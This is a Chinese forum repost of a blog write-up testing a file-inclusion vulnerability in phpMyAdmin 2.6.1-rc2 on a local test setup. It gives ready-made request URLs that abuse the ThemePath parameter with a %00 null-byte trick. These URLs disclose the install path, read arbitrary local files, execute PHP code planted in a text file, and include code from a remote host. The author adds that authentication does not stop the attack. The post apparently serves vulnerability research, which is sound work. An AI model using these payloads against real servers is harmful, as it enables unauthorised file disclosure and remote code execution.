发新话题
打印

[转载]phpMyAdmin 2.6.1 Remote file inclusion 的测试

[转载]phpMyAdmin 2.6.1 Remote file inclusion 的测试

来源:Superhei's Blog


phpMyAdmin 2.6.1 Remote file inclusion 的测试
文/图 superhei [at] 安全天使#BST
测试版本:phpMyAdmin 2.6.1-rc2
漏洞描叙:http://www.bugkidz.org/forum/read.php?tid=129&fpage=1
测试环境:xp+easyphp1.7

提交:http://127.0.0.1/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]='
得到暴出路径:e:\easyphp1-7\www\phpmyadmin\css\phpmyadmin.css.php (图1)


提交:http://127.0.0.1/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=E:\EasyPHP1-7\www\phpMyAdmin\heige.txt%00&theme=
得到E:\EasyPHP1-7\www\phpMyAdmin\heige.txt的内容: "我爱你" (图2)


上面是在phpmyadmin没有密码验证的情况下,再设置下phpmyadmin的密码验证 在没有登陆的情况下照样成功 :)

呵呵 忘记说了 include()漏洞可以直接运行php代码
http://127.0.0.1/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=E:\EasyPHP1-7\www\phpMyAdmin\hh.txt%00&theme=

hh.txt的内容:<?phpinfo()?> 图3


因为返回的结果是个css文件 所以查看回返结果时 保持为htm看 :)
如果php配置允许运行远程文件 那么直接直接怎么提交:
http://127.0.0.1/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=http://xxx/xxx.xxx%00&theme=


ps:一.上面主要用到了php本身对%00没有过滤的漏洞,好像在php5.0下不存在
二.简单介绍下phpmyadmin密码验证的设置: (thx shishirui)

在config.inc.php修改如下:
1 $cfg[&#39;PmaAbsoluteUri&#39;] = &#39;http://127.0.0.1/phpMyAdmin&#39;;<=phpMyAdmin的地址
2 $cfg[&#39;blowfish_secret&#39;] = &#39;heige&#39;;  <=随便填
3 $cfg[&#39;Servers&#39;][$i][&#39;auth_type&#39;]    = &#39;cookie&#39;;
4 $cfg[&#39;Servers&#39;][$i][&#39;user&#39;]       = &#39;&#39;;
益友网吧联盟  http://www.96-7.com

TOP

发新话题